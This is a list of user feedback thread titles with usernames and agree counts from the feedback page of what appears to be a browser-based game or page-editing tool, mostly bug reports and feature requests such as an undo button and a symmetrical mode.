  Unvote

  622 agree

• It doesn't work!
  By the destructor - 154 months ago
  Unvote

  621 agree

• Awesome
  By Anonymous - 147 months ago
  Unvote

  602 agree

• Try Me does not work
  By Tim - 155 months ago
  Unvote

  591 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  578 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  578 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  564 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  563 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  563 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  557 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Unvote

  505 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  489 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  478 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  464 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  461 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  460 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  454 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  433 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  431 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  419 agree